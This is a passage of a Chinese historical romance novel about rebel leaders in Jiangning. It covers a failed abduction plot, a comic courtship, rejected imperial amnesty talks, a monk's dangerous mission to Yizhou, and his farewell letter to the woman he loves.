很快，人便被揪了住。一审却得知，此人是个吃喝嫖赌的货色，常在府署里外做些不黑不白的倒运买卖；近日因赌坊里欠了债，偶一次得见应怜，见其美色，心中大喜，因此起了做人牙子勾当的心思，便特特兑了一瓯散方酒，想着迷晕了她，摸黑弄出去，卖个好价钱。 这样漏洞百出的说辞，拿来唬唬外人还行。当事者几人听了，只觉狗屁不通。 “若如此，鬼面将军为何被人支去厢房？宗契又为何收到通风报信？”单铮瞧完了口供，扔在一边，对结果并不满意。 下头只得再审。 不想那贼子被提在府署大狱中，隔了一夜，竟服毒自戕了。 狱卒胆战心惊，全然不知那毒他从哪儿得来。单铮被惹怒，本令彻查，却被赵芳庭拦住。 “这事已然闹得几日来人心惶惶。倒不如做个囫囵官司，人既畏罪死了，便就此了结。”赵芳庭私下与他道，“犯案何人，我心中已有眉目。此事瞧着是冲柳娘子来，实则她不过无辜受祸，幕后人想挑起咱们兄弟之间的纷争罢了。如今人心初定，正是每位头领都大显其才之时，损了哪一位都不好。总之柳娘子人没事，哥哥不若下回议事时，对兄弟们敲打一番，那幕后人若聪明，一时便会约束自己。” 单铮对这糊里糊涂地结案自是不满，只是心知赵芳庭说得并不错。人心相隔，虽互相称兄道弟，然林子大了什么鸟都有，龃龉便多。如今只是一桩犯了案的官司，那潜藏人心底、没来得及犯的官司还不知有多少。水至清则无鱼，他作为百将之首，求的并不是个黑白对错，而是大差不差地齐心协力。 便依着赵芳庭，独独将宗契与鬼面人两个叫来，好言劝慰了一番，苦口婆心地将此事就此揭过。 应怜那处自也是要安抚的。恰时值八月中秋，单铮便借着节礼的名头，将与她的礼单加厚了七八分，本想派个人去言语宽解几句，待要用人时，才发现无人可用。 按理说此事该教自家女眷出马，问题就在于，他孤身一个，哪来什么女眷？ 想来想去，此事还要烦劳折柳。一来她与应怜相识，关系还不错；二来折柳如今也还住在府署里，上下人等皆心中默认，这便是单铮的女管事。 人选定了、礼单定了，单铮来回一寻思，察有无遗漏，便忽想到了那只白鹤穿云枕头。那是折柳送的，枕上果真舒坦。 而在舒坦之外，他更时时闻着一缕若有若无的香，也不知是她常簪花，茉莉、素馨、钵莲、桂花、梅花……不知是哪一般， 总之是他说不上的清幽幽的暗香。 单铮自己已是上三十的男人，寻常人家在这个岁数，儿孙也已有了，妻妾更不必提。单只他孤家寡人，自从十多年前，新婚的发妻死后，便再无续弦，也不爱沾花惹草，于那男女之事，便寡淡了下去。 分明过了血气方刚的年纪，这枕头上的香闻多了，他却无端又生了些火气，自家草草解决时，也好生纳闷。 许是由物及人？ 不过那折柳娘子确是生得好。她…… 不知是哪一回清晨醒来，梦魂里极尽宣泄，睁眼后，亵裤里冰冰凉凉，单铮黑了脸。 他不是圣人，也有偏私的心，一面鄙弃自己时，想着某回见她，只伶仃几支鲜花簪鬓，便又心口不一地挑了些妇人常爱的首饰头面。 折柳收到了节礼。 前日里为应怜送去厚厚一份礼单，与旁人一比对，丰了不少，她便晓得是为补偿前几日受惊所得；这会子自己也收了节礼，一眼瞄过，却稀奇起来：莫不是府署里弄错了，她这礼单怎与应怜的所差无几？ 上头又多出不少金银翡翠的首饰簪环来，都是时下的新式样。 本着“老老实实做人，一个子儿都不敢多拿”的折柳，忍着肉疼，划去了礼单上的半数，将那些个首饰仍交还给了库房。 虽说出入账名目对不上，库房本着“不拿白不拿”的规矩，又将这些样做进了与旁人的节礼中去。以致中秋后某一日，单铮去某位弟兄家饮酒，女眷出来相见，盈盈下拜时，他便一眼识出，此妇人头上戴的，正是他为折柳千挑万选的一根花簪。 他便吃了一肚子酒，又吃了一肚子气回去。 折柳这头哪里晓得，她过于小心翼翼憋着做人，生怕哪一日被揪着错处，撵出府署去，因此务必要巴结单铮格外殷勤。 思来想去，她决定为他亲自做双鞋。 ——衣物鞋袜，总做不出错来。 说干就干，这便买来细布料子，拾起了好些年没动过的针线，寻了个散值的饭后黄昏，去找单铮比量鞋底子大小。 单铮忙了一日，这会子果得了闲，正坐于庭院，亲手擦自个儿那杆精铁枪。 这是祖传的一杆宝枪，枪头不知挑过多少颗黑心肝，枪身不知饮过多少歹毒血。如今擦来，依旧寒光朔朔，摄人毛发。这擦拭的活计，他并不假手于人，擦枪尖枪身时，向来沉默专注。 从前每每此时，他的确心无旁骛；只是自见着那根花簪，得闲时他便多生了些游移不定的心思。 她不收？还是收了，却不喜欢，抹头就给了旁人？ 穿金戴银惯了，瞧不上？ 折柳来时，一眼便见着庭院石桌凳上坐着的男人，正闷头擦枪，余人一个不见，按惯例各忙各的去了。 日色斜照已渐渐颓势，单铮那一头显眼的暗赤色头发便也随之黯淡下去，倒勾勒出几分庄重沉稳。他眉眼低垂，院门口遥遥望着，并瞧不见细致的五官，却无端透着一股子俊美勇武。 兴许是由于身材好，蜂腰猿臂，衣下也不知多壮慨。折柳默默品评，垂涎完了，敲了敲门，进到院中来。 单铮望了她一眼，眼中风暴一霎，却不露于色，甚至有几分冷峻。 板着脸到底太煞人，他终究向她点了点头。 折柳多会瞧人脸色，一望便知他心情似不大好，暗自深呼吸一口气，有些忐忑，摆上笑脸，道：“将军这会子不忙？” “嗯。”单铮应道。 “我近日买了些料子，想着为将军做双鞋。”她迎着他淡淡的面色，温言软语，话里便携了一股子正经人家学不到的风致，“只是不知将军尺寸，可否比量一下？” 她款款近前，惯会拿一双色授魂与的眸儿瞧人，眼波稍一流转，便泻出七八分江南水乡风韵。 单铮哪里斗得过她，只觉硬梆梆的心也不知怎么，教她哄了两句便软了，不知不觉顺着她话应承了，“你量吧。” 她笑了笑，款款蹲下身来，在她面前，在他掇地的枪杆旁边，伸出一只手，轻软地微微搭在他脚踝的腿绷上，略抬一抬头，用眼梢示意他伸脚。 单铮微岔开腿，顺从地伸出一只脚。 折柳细细柔柔的手指尖搭在他脚面上，只觉绷得十分之紧，却不因那腿绷，而是他整个身子绷得都紧。 微一抬眼，她瞧见他抿得直直的唇，沉默不动的神色，以及隐约微红的脸面。 他居高临下地暗自紧张；她低眉顺眼，发号施令： “将军放松。” 放松与比量尺寸有何干系么？单铮有些恼怒地想。 他强使放松了身子，见她垂头不递来一眼了，这才松了一口气，却又有些失望。 鞋履在脚，本不应该对她触摸有所反应。单铮却莫名觉着微痒，仿佛她指尖下每一停顿，都搔刮在他皮肤上。 折柳倒是不敢闹什么幺蛾子，只是低着头，认真地一拃一拃地比量，只觉比一般男子的脚更长一些，便顺口拿了惯用的哄男人的话，夸了一句，“将军雄伟。” 单铮轻咳了咳。 一会儿，听他在头顶开口，似很不经意，“上回那些簪子，怎么不戴？” 折柳一愣，下意识摸了摸头鬓，今日是两朵水红的钵莲，已是很艳丽，一时不明他话里含义，斟酌再三，不大确定，“什么……簪子？” “你没收着？”单铮却问。 眼见着他眉头拧起，折柳终于回过味来，恍然大悟，“您是说节礼的那些？我原以为是礼单弄错了……难道是您……？” 她过于欢喜的眼眸瞧得单铮又有些脸热，却也跟着笑了起来。 “那是将军独自赠与我的？”折柳恍然有如获至宝之感，却想到它们俱以交归库房，追悔不迭，“可惜了，不知我还能不能再要回来……” 单铮不由道：“无妨，我再买便是了。” 折柳一颗心扑通扑通直跳。她不是未经人事的大姑娘，晓得他是什么意思，只没成想，有心搭上他，闹了个笑话；如今没那个心了，他却上了勾。 一欢喜之下，从前风月里那股子轻佻习性便带了出来，嫣然一笑，依旧跪在他脚边，指尖却一点点顺着小腿，攀上了膝，又似有若无地向上头划，半依偎半挨蹭，黄莺似的嗓儿，柔得几乎能掐出水来，“奴……只有这花儿，便不好看了么？” 原以为单铮怎么也不是那等直眉楞眼的半大小伙儿，她搭梯子，他不就顺势上了；却不料他直勾勾地盯着她，片刻却如受了莫大震惊似的，蓦地一发起身，躲避了她的依偎，还不忘攥紧自家那杆祖传的精铁枪。 折柳搭了个空，险些扑个狗啃你，也无不震惊地望着抽身早在几步之外的单铮，“你、你怎么了？” “娘子自重！”单铮面色数变，最后竟黑了脸，仿佛意想不到栽了个跟头似的，三分尴尬七分恼，“我拿娘子作朋友看待，娘子不该自轻自贱！” “……自轻，自贱？”折柳气笑了。 这狗男人，到底晓不晓得他在与谁说话？ 她可是十 年前的魁首！ “你嫌我老？”她咂摸他究竟什么意思。 单铮莫名其妙，有一种夏虫不可语冰之感，“我何曾嫌你老？” “那你是嫌我不是良家子了！”她望着他薄怒的面容，心下一恍然，方才色令智昏的欢喜，这会子醒悟过来，又逢了杳暝天色，瞧他铮铮的英武筋骨，喟然叹了一声，“也是，你何等样英雄人物，平白被我这样的风尘女子拉低了品格。” “我不曾嫌你……”对上她，单铮才懂何为力不从心，总觉出口的话句句是错，“不，你是否良家子，与我有何干系？我又不娶你！” 折柳哼了几声，离到院门口，心内更是堵了一口气，思来想去，仍是觉着单铮抹不开面子，若不是要和她好，谁家平白无故送那许多首饰？ “不过求个男欢女爱，谁个真要你娶了？”她愤愤怼回去，“若要娶我，那几支头面簪环可不够做聘礼！” 越说越没谱。 单铮全然不解她脑子里装的什么，只得哑口无言地瞪着她离去。 老鸦啼起聒噪粗噶的鸣声，嗤啦从一棵树梢划向另一棵，嘲笑着树下人与人之间的差距，比人与鸟之间还大。 折柳本是来比鞋样，却不肯承认自己会错了意，吃了一肚子憋回去，跺了跺脚，恼了脸扭头便走。 走出几步，忽一下想到自己还住人家屋檐下，真把他惹毛了，可没好果子吃；一想到万一自个儿当真流落街头，还得连累秾李与吴官人，再多的恼，全被这一吓惊散了。 她暗骂自个儿嘴无遮拦，登时回过身几步又来在他院门口，探着脑袋服软，不想正对上单铮魁大的身量，却是他追到了院门口。 两下里各自开口，眼瞪着眼： “鞋还要么？” “簪子还要么？” 折柳眨了眨眼，方才憋在心里的那股气，猪尿泡似的瞬间被扎出个口子，再鼓不起来了。她噗嗤一声，对眼前这人登时又爱又恨，再也不敢言语上挑逗半分，却还端着架子，应了一声。 单铮也“嗯”了一声。 折柳得了他三分脸色，心里头又开上染坊了。 看吧，他就是拉不下脸，就是假正经，男人么，哪有不好美色的？ 她勾起三分似笑非笑，虽不敢多明显，却飞花月影般轻飘飘地眼眸乜了他一眼，也不说话，转身便走。 这一回不是恼着脸去，而是一步三摇，慢悠悠、轻细细地背着他走，把个平生所学，最纤细的腰肢、最曼妙的风姿全凸显出来，务要教他晓得，她折柳，是能让天下男人享到最快活的福的温柔乡。 直摇摆到了十几步外，她自认那背影足够销魂蚀骨了，终究没忍住，弱柳扶风般，搭着一只廊柱，风情万种地回头，瞧他究竟有多看直了眼。 院门口空空荡荡，树梢过墙，晃晃悠悠，老鸦也没忍看这萧索景象。 他早回去院里了。 折柳捂着胸口，仇雠似的瞪着那外敞的院门，心中咬牙切齿。 不解风情！狗男人！ 散方酒那夜究竟发生了什么，除了宗契本人，谁也不晓得，连应怜也说不出个一二三来。 她隐隐察觉宗契似有躲避着她，可毕竟住前后门，抬头不见低头见，想躲也躲不过。于是隔三差五应怜去寻时，躲不过的宗契便见了。 他仍是那样，温和、守礼；也一如往常，遇着新鲜的、好玩的物件，便买下，教小乙送来，闹得应怜一时也摸不准自个儿梦里那些个心旌神摇，究竟是真是幻。 她总有一股子闷闷的心思，憋在心里，有时冲动起来，恨不得拽来宗契，当面与他陈对，说清楚才好；冷静下来，又不自觉地怯懦下去，缩回自己那壳里，想着就这样温温吞吞地与他过着，也挺好。 况且总有些事，比儿女心思更紧要。 中秋刚过，江宁府迎来了一个意想不到的消息——洛京里朝廷派出了臣子，据说打着安抚使的旗号，正前簇后拥、浩浩荡荡地向江宁而来。 十分有意思的是，那位安抚使姓黄，名仲骕，正是年前率军攻打，“得胜”回朝的那位黄主帅。 他回京后，先是因战功被升官，后因江宁府被克，引出下头揭发太湖战事有虚，双方好一顿扯皮，他说主帅通敌、假报战功；他说叛军奸狡，聚而复起，朝堂上实在闹了一阵。 官家龙颜不悦，索性褫了黄仲骕新封的官，却又安了个“安抚使”的名头，逐去江宁，招安那一伙强人，戴罪立功。 来的既是老熟人，单铮便尽了十分的地主之谊，宽宏大量地放人入城，来了一次“心平气和”的和谈。 黄仲骕虽气恼自个儿被这帮奸狡反复的背信之徒诈降了一次，但为着仕途前程计，只得屈尊降贵，压着官腔官性，与宁德军交涉。 没几日，招安的底子便被赵芳庭等人摸了个彻底。 “名儿都挺好听，什么秉义郎、承信郎、仁勇校尉、仁勇副尉……一串儿名头，花里胡哨的。”宁德军的一个头目李三郎笑与众人道，“你们猜都是些什么？九品、无品的虾兵蟹将！我如今好歹是个将军，去做他爷爷的鸟官，受他驴粪蛋的气作甚！” 一班子宁德军皆哄笑。 结果自然是不成。 黄仲骕嘴皮子磨烂，在江宁府盘桓了数日。单铮起先还见，后便全权托由赵芳庭等人，自个儿猫着练兵去了。 究竟降或不降，赵芳庭并不掐死了话头，只是模棱两可，开出了些条件，如不赴京为官、家眷不徙往洛京，不交兵权等，使黄仲骕觉着，这帮子贼匪是在耍自己取乐。 他终于明白此行不成，临走时带着羞恼，居高临下地掷下话来，为挽回失了的面子：“本官带着诚意而来，却不想未得同等的诚意相待。朝廷的官乃是正道，得之，乃鱼跃龙门；你等不受，才是取祸之道。况且天下间识时务之人何其多，你等不受，自有求之不得的人。届时你等再想后悔，可也晚了！” 说罢，带着他的扈从跟班，洋洋洒洒而去。 所谓话多语失，他一来一去，本没什么；临行前一席话，却蓦地惊醒了宁德军。 军师林文贵等人猜度：“朝廷军无义，既派人来我军招安，焉知他不会又派人去北边招安？况那黄仲骕之言，话里话外，无不含着另有人愿做朝廷犬马之意。此事不可不防。” “可咱们派去沂州交好的使节十几日前已出发，如今节外生枝，他却并不知晓，恐生变故。”吴览对此有些忧心，“若招安令下至沂州，那头未必不会动心。届时朝廷身不动膀不摇，来个借力打力，教咱们自相残杀，奈何？” 赵芳庭道：“为今之计，咱们得再去人说和，无名望的不行，得说话有分量的。” 一时议事堂众气氛凝滞下来，各自不知何人前去。 却又是宗契领命，“我去吧。” 他话不多，一旦出口，便是心意已决。众人望他，却见他从怀中取出了一副画像，图虽简陋，面貌却极为生动，当中一虬髯大汉，粗鲁横壮，尤其左侧脸颊一颗痦子，显著异常。 这画不止他有，旁人也有，正是斥候传回的那沂州义军的头目——震地虎彭春。 “此人与我或有些渊源。”宗契话如平常，道，“我若去了，他兴许肯让三份薄面。即便不成，我单人独骑，自保不难。” 众人一番议论，果真觉着可行。宗契是个出家人，在宁德军中本就显眼，如今声名在外，各处也都晓得有个身量魁伟、勇武异常的僧人，由他再探沂州，再合适不过。 此计便定了下来。 计策既定，宜早速行。 小乙为宗契收拾行装细软，候着明日天不亮，他便要动身；埋头收拾间，顺带问了一句：“高僧可要与柳娘子辞行？” 宗契在外间，正观那副彭春的画像，闻言默了片刻，而后开口：“不用。” 小乙咕哝了一声，觉着可惜，但主人家的事，他一个随从又不好代劳，想着这事并不机密，对门里迟早要晓得的，不辞就不辞吧。 于是整装毕了，翌日一早摆布了饭食，又带了几个早定下的副将，跟随宗契出城，到了城外一亭驿。 已有人等在此处，正是单铮为首，几个自家的兄弟，又摆上了践行的酒食，谢一行人此番辛劳涉险，候其事成早归。 宗契各自与饮了一杯。正是日色初明、曦光破晓之时，偶有雁鸣天际，清声疏朗，前方牙道漫长，没入仍旧苍苍的天青隐约之中。他辞过众人，出了亭驿，早有小乙牵来骏马，等在路边。 他翻身上马，沐着晨曦，遥望不见尽头的前路，行出几步，忽心有所感，在夏秋之际的平明初凉时分，蓦地 回头望那苍色古朴的城楼。 城墙如两翼，厚重铺开在遥不可及的护城河之内；河面波光清粼，遥映其上城楼，巍然耸立。城墙之上，目力所及之处，却有个小小的影子，手按垛口，微微前倾，似极目遥望远行之人。 瑰色的曦光一缕，苍凉而温柔地披照在她发髻鬓角，抚过她眉眼，又无声落在素日那一身天水碧的罗衫褙子上，更映得只影伶仃，恍欲随风而去。 他怕辞她心不忍；她却怕不辞，万一再难见。 浑然想起，这竟是他第二回不告而别。第一回在扬州，她酒醉浓睡，误了时辰；这一回她没误，却成全他不辞而别的逃避。 晨曦渐明，微微刺目。宗契于初升的日光中，将她的身影烙印进心底，与朝夕相对时、她的一颦一笑藏在一处。 他回过头，策马前行，望着漫漫长草，隐隐前路，终有所念。那念头甫一生出，便再难磨灭： 若宁德军事定后，她仍待字，又……应肯的话，他便还俗留发，向她求娶。 昼渐短、夜渐长，繁华早谢，绿荫里翻出萧索。夏尽后，一年光景，便轮换了一半。 暑热还残剩些。应怜纱窗里午睡时，在隐隐腾腾的暖热里，总能想起城楼独辞他时，宗契回望的那一瞥。 沂州此行深险，纵她强使往好处想，夜来幽梦，也时常梦见不祥，或是他重伤突围、满面鲜血；或是被囚在牢狱深处，脱困不得。每每夜间惊醒，醒后便辗转难眠。 她由此比任一时刻，都更盼着他的书信回来。 从中秋后，起初几日，宗契确有书回，言语简明，约略告知北上已到哪一程；时常也随信附上些当地土仪，给应怜或萍儿、阿苽，这使应怜稍感安慰。 然北至洪泽陂后，过了大湖，因淮阳一带各家纷争盘踞，书信便不得不稀疏下来，恐被各路探子察觉，坏了计策。 应怜便只得心神不定地守着，等一封信至，望眼欲穿。 她这处却比往常热闹。上回散方酒一事后，府署里又拨下来四名女使、四名人力，分在家中里外院。无论她行走坐卧，总有几双关切的眼时时盯着，再不出家人视线之外。 应怜对此没甚异议，收下几人，各自安顿，春莺茜草初私下里有些言语，而后被应怜涨了月例，便也心满意足了。 新来的女使很是乖巧有眼色，行事也麻利，几乎不需应怜再多调。教，这些日便轮流守着应怜，陪她拆了看、看了收、收了又拆那些封书信。 这一日，正是九月新秋，茜草从外而来，满面喜色，远远地廊下便向应怜道：“娘子！高僧又有信至，还送了大大的箱子！” 应怜几乎一惊而起，顾不得步履轻细，急匆匆便出来，一把拿过她手里的书信，飞快拆开，先一目十行地过了一遍，长松一口气。 女使们见状，便也互相笑起来，晓得是报平安再无差池的。 “高僧说什么？”茜草问。 “他已近沂州地界，追上了前使；接下来紧锣密鼓，想法子与那大王说上话，后头几日，书信便不能通了。”应怜道，指腹轻轻摩挲在信末一句【我一切安好，惜奴莫忧】上，向那再熟悉不过的字迹反复瞧上一瞧，又笑了，“啊，他还说带了些蝤蛑回来，人说是沂水里生长的，有圣贤之风范。” 一旁春莺听了，捂嘴直乐，“咱们江南东路的蝤蛑还少么？怎么沂水里泡过的就和家里的不一样呢！” “约摸是因孔圣人在沂水里浴过，便连虾蟹也高雅了。”应怜说着，便往外瞧。 几百里路程，又正是夏末秋燥时节，这水物可不好送。必定要用冰镇着，换水换气，一路马不停蹄地送来，真是难为了他安排。 正说着，果见外头抬来个沉甸甸的木箱，上头有眼儿，为活物透气之用。应怜忙过去观瞧，吩咐将箱盖揭开，见里头满布冰块，融化了一半，正当中又置一箱，同样带孔，还未打开，却先闻见了一股子难言的腥味。 围观之人皆皱眉掩鼻，都道：“这便是沂水里长出的蝤蛑么？怎么这样腥臭？” 新来的人力老老实实将里头箱盖揭开。 应怜这才看清，里头铺了淤泥，泥沙半掩之处，七八只蟹被草绳缚住螯钳，本应齐齐整整，此时却早腐烂，底下更生了细细密密的蝇虫，冲鼻的咸腥腐臭使人作呕。 这蝤蛑不知已死多久了。 应怜也掩着鼻，却呆呆看着，也不知为何，原本不信什么卜兆，这会子捏着书信，心头一跳，顿生了几分凉意。 宗契前程未卜，她翘首焦灼。 他送了沂水的蝤蛑，却早死多时。 她心头不祥地狂跳起来。 自那次的死蟹后，将近一个月，宗契再无一封信至，连带同去的一行人，皆绝无音讯。 非止应怜慌神，连单铮这处也急了起来。 探报的沂州斥候回来道，沂州此城，远远观之与往常并无两样，只是城门口戒严，非沂州本地人，绝难出入。 另有一件不知算不算奇怪的事，便是送入城的猪羊活牲、瓜果时鲜较之以往多了不少。 据此，赵芳庭推断：“看来沂州果真有客，许就是咱们之前猜测的招安使臣。” “如此一来，咱们的人处境不妙。”钱美才养好了伤，忧心忡忡。 众人对此各有议论，但无论如何，一致认定，需再探个究竟，摸清了底细才好动作。 这一回，不是宗契那般正大光明地前去，不能打草惊蛇。 半晌，单铮从首座圈椅上起身，双睛如虎目，炯炯扫过议事堂，众人神色不一，正闹哄哄议论着，被这样目光扫视，逐渐便噤了声。 “此一回，我打算亲自前往。”良久，他沉声开口。 林文贵先拦阻，惊道：“君子不立于危墙之下，将军怎可轻易举动！况还是那般险境！” 余人也劝，皆作声请他回心转意。 一向举重若轻的赵芳庭却一时没言语，直待迎上单铮凌厉决意的眸光，这才道：“我倒觉着，单哥哥可去。” 满堂哗然。 “咱们起家，秉的便是‘富贵险中求’的准绳。沂州的彭春势力足有两万人，若咱们一举将他们并入，声威便可大涨；然若彼军投靠了 朝廷，他过了江水，便是咱们心腹大患，凭咱们人手实力，未必能扛得过。“赵芳庭条分缕析，一一道来，“单派咱们中任意一人前去，难道还能更胜过宗契？他都陷在那处，咱们此一回再去的，只能是比宗契更有声望之人。有谁比我单哥哥更合适？” 王渡也开口，随声附和，“将军果是再合适不过的人选，只是务要谨慎细微，万不可着了他们的道儿。” 话虽如此，众人仍是反对声高。单铮见争议不下，索性也不与他们争，径直拍板，“此事已决，我意断不更改。我既为头领，怎可一味趋利避害，龟缩在内？” 最终仍是定下了三探沂州的计策。 第90章 第90章平生不解情，早许情一系…… 此去沂州，人选终议定下来，又召来干系的几人，赵芳庭将计策一一告知。 一切落定，便已在三日后。 秾李也在此列。 她在吴览处，这几日却为自个儿独辟了一间耳房，昼夜无事时，便在那处歇息。 那夜之后，又有月余，她侍候吴览起居饮食，却并未宿过一张榻上。吴览不提，她便也不说，二人之间很有些微妙。 偶尔有心，夜来将眠，吴览总见那耳房小窗里映亮澄明，约有剪影纤纤，提笔正写着什么；白日里问她，秾李却只是一笑，并不答言。 直待明日已将行路，这日昏时，他照常下了值，从府署而归，却早见秾李一身烟罗常素，提了一盏亮亮晃晃的纱灯，在院儿里候下，见了他，便为掸去身上尘土，接去小厅中用饭。 饭毕了，原以为她又如往常回自个儿那屋，却不想秾李伺候过漱洗，递出了个雕花的锦匣儿，道：“官人，明日我便随姐姐向沂州去了，此一去也不知何时才归，保不准更要明年。这几本经，我本想着冬至时供向长干寺，为亡夫人与女公子祈福，只是不遂了。官人为我冬至时供这经书吧。” 她话声并不娇婉，却自有一种纤柔沉静，手捧的几本经书已穿线成册，一沓沓字纸齐整，尤其《莲华》、《地藏》二部，堪有指厚，字字虔心。吴览翻看良久，先是怔愣，而后难言的滋味用上心头，既是对秦氏彩儿的痛念愧疚，又掺了几分与秾李的感激。 “原来……你这些日挑灯笔墨，就是为抄这些经么？”他喃喃。 秾李一笑，为他斟上一盏温蜜水来，“原是要慢慢抄的，只是忽要我随去沂州，这几日便抄得晚了些。” 秦氏去已有大半年。默想其音容，吴览却忽忆起了那夜酒醉，她有如魂梦在畔，与他又续一宵夫妻姻缘，杳冥种种，更难割舍。 ……不，不是辛娘，是她。 他久久瞧着秾李，瞧见她秀静的容色，因连日熬夜掩在脂粉下的些微憔悴。 他对秾李，爱其貌美，念其贞静，如今又感佩她的忠义。她能有一份如此诚恳向秦氏的心，他便已足够感激。 吴览珍而重之地将经书放回锦匣，供在书案，才要转身，道夜已不早，各自安歇去吧，却不想腰侧忽轻轻伸来她两只秀臂，背后温温热热贴上了她一副曼妙的身子，不由便是一僵。 秾李却在他身后，脸颊摩挲他肩颈，带来一阵轻柔的旖旎，“明日我便要走了，年前还不知回不回得来呢。” 吴览明了了她的意思。 他与秾李，除了那次酒后乱性，后总不曾再亲近。他有三分越不过的心结：自己并未想着续弦，更不曾想要纳个婢妾。 只是月余来的陪伴，有她在侧，总抵了一室凄冷，连小院都活泛了起来。 吴览叹了一声，渐渐放松了身子，拍拍她的手，亲自去吹熄了灯，牵着秾李，入床榻、放帷幔，交叠双影，便成了鸳鸯。 情浓时，他低低地道：“跟着我，委屈你了。” 秾李紧紧揽着他，似是轻喘，声儿里有如水浸透了的餍足，“为何委屈？” “我……”到这时，他再说这话，却总有些菲薄自己，“我长你许多。你年少淑丽，配我总是委屈。” 秾李轻笑了笑，蹭了蹭他身子，贴在他耳畔，一阵温热酥麻，“不委屈，我……快活呢。” 她果真随心，在床笫之间，说不好谁才是更如鱼得水的那个。 颠鸾倒凤，云歇雨收。 外头月影篁丛，纱窗浸明；里头春色乱颤一晌，逐渐消于无声。 秾李躺在吴览怀里，懒懒地半阖着眼，听他说话。 吴览道：“我如今并无续弦的心思，恐给不了你名分，你若……寻得良人，自去则可，我为你添妆。” 秾李吃吃地笑，抬起臂肘，向他唇上亲了一记，眸里有微微流转的模糊月色，“我本是贱籍，哪敢高攀官人。如今得一席在畔，便知足了。” 吴览因此心中更过意不去，总觉着亏欠她似的。 “那你喜欢什么？可想要什么？”他只得退而求其次问。 怀中人与他相贴，端的尤物也似，说出的话却似稚气未脱，“我想要官人多笑笑。” 吴览恍然失笑。 “不过，说正经事，我的确想要求官人一个恩典。”温存良久，秾李瞧近在咫尺的他，正色起来，“您不得怪罪我。” “你说。” “我、我撕了舟横先生的帖子。” 吴览纳罕起来，“何时的帖子？可有要事？你撕他作甚？” 秾李脑袋搭在他臂弯里，半晌才答：“无甚要事，不过邀你吃茶喝酒罢了。只是我不喜这人，他与你结交，想必不存了好心思，因此我不想他沾你。” “你又识得他几分？怎么就笃定他为人不正？”吴览也不恼，只作体己话与她闲聊。 秾李道：“我就是晓得。听闻他从前讨过两个浑家，却见利忘义，那两个妇人下场都没落得好。可见他为人刻薄。” 吴览只道她年纪小，见事见人只苛求尽善尽美，便宽解道：“金无足赤、人无完人，这是他家事私德，对朋友未必便如此，你可放宽心。” “我就不。”她撒起娇来，闷着头，他瞧不见她神色眸光，“你知我的出身。我从前经见的男人，凡在妇人身上起坏心思的，个顶个都是无信无义的坏种，那英雄豪杰是一个没有。” 她似无心，却一语戳中吴览最心底的恨事，教他想起秦氏与彩儿的惨死来。 他永远无法从那场事的泥淖里挣脱起身，更别提抛下偏私，看待与之有一丝半点瓜葛的人与事。 怀中的秾李久久不闻他回应，借着黯淡月色，投去一眼，隐约见了他毫无睡意的眼眸里，冷冰冰的、憎恶的神情，彷如陷入噩梦。 她并未将他再从一场噩梦中拉出，而只任由他一再深陷，又轻轻勾了勾唇，阖上了眼。 看来，舟横先生的茶酒，注定要空置了。 应怜是从折柳那处得知沂州探访之事的。只因折柳要跟着行去，临走时将琥珀留在府署，蒙学识字的事儿便好生交待了她一番。 去沂州的一行人乔装打扮，经赵芳庭的盘算，改做四司六局各人的模样，不但一路可掩人耳目，且入了沂州，借此身份，可直向那义军窠巢里去。 自然，这一行人里，应怜不在此列。 她才下了值，还未出府署，便又被单铮的人叫去，说将军有事叮嘱。 向来她与单铮之间，并无多少私交。应怜有些惊讶，便跟了随从过去，正在府署会客的后厅里。 单铮果等在里头，并无大事，只交了一封信与她，沉声道：“这信本不当此时予你，怕你多想。只是我明日要走，只怕有个万一，我却死在宗契前头，平白误了这信，因此先交予你。” 那信只套了个封皮，并未署名。应怜瞧着，却无端心里一突，接过信的手也有些颤抖。 单铮见她神色惶惶，有心宽解两句，却一时不知怎样开口，难为思量半晌，挤出几句，“你放心，我但有一条命在，定将他带回来，活带人，死带尸。” “……”应怜半分没被宽慰到，只得点点头，“多谢将军。” 她行礼退出府署，一路归家，回去后先关了屋门，自己躲在里头，努力平复呼吸，将信拆开来看。 果然是宗契的字迹。 这信他交在单铮手里，却是写给她的，墨迹枯干也不知几日几月。他早已有了嘱托后事的心。 他头一句便道：【惜奴，人世不测，总有山高水低，我今虽身死，在天魂灵却未必散。你伤心过了，还得努力餐饭，坐卧起居，否则我心魂难安。】 他怎么就能这样大大咧咧将生死写在薄薄的一张纸上，轻飘飘没有一点分量，好似玩笑一般。 应怜恼怒上心头，眼眶却红了。 他教她不要伤心，努力加餐饭，又告与她，若此地不再能待下去，便去代州，找他师父慧理方丈，他已写信知会过了，但得她去，慧理方丈会为她安置好一切。 他又道，元家子与她虽有婚约，却不过一纸空契，不是良配；若投于他，今后必定阻难重重，望她思量。 这些话，林林总总，他在时，一句也不曾透露于口。 应怜紧紧捏着那信，只觉眼前模糊，一笔一划在眼前如走线龙蛇。她擦干眼中泪雾，越瞧越觉着他小心眼。 有什么话，不能当面陈对，非要藏在信里呢？难不成他说了，她还会因此与他闹脸么？ 信不长，大多交待一些心底的事，最末又添上几笔： 【我余物不多，尽盛于内室西窗角下奁中，你便自取。若睹物思我，我心当喜，却不愿思之忧之，乃至毁伤形体，是我之罪。惜奴珍重，愿来世早与卿逢。】 她扣下信，再也忍不住，多日来的担忧、焦虑、烦闷、思恐，此时俱泄洪般倾泻而出，哭得灯昏月 惨，双目无光。 他平日里，是再不会与她说这些深藏的话的。 想必他以为来日她读到信时，自己已然入了黄泉，稍稍逾矩一些，她也无处怪罪他唐突。 可应怜不愿下辈子再见他，只愿这一生一世他好好的。 她迎着初上的弦月，不顾人是否已睡下，径去扣响了对面的宅院后门。 出来的是小乙，隐约见她面有泪痕，吓了一跳，忙请进来，“难不成是高僧有音讯了？难道……” 应怜摆摆手，教他莫要乱猜，只道来拿些物件。 小乙心下了然，掌了灯，请她入了正屋，在外间等候片刻，自己去里头翻检，一面道：“是那小匣儿不是？我约摸见过一次，只是高僧不许我瞧。” 她应了一声，眼见着小乙里头捣鼓一阵，带着东西出来，道：“西窗角下的。” “所幸我存着钥匙，否则高僧不在，物件都取不出来……”小乙将不大的小匣儿递来。 应怜接过，便桌上揭开。 小乙“咦”了一声，“什么？西窗角下？” 匣儿里头无珍无宝，只几样残损物件，灯烛摇曳下，模糊温润镀着澄明的光。 “哟！我这脑子！”小乙一派脑门，要来收那小匣儿，“娘子，我取错了，这不是西窗角的，这是高僧衣奁下头藏的！” 应怜一霎回过神来，一手按住，不教他夺，转过头来，白莹莹的脸面上，泪痕依稀，眸中却又多了几分朦胧水意，似是悲伤，嘴角却是微微翘起的，仿佛在笑。 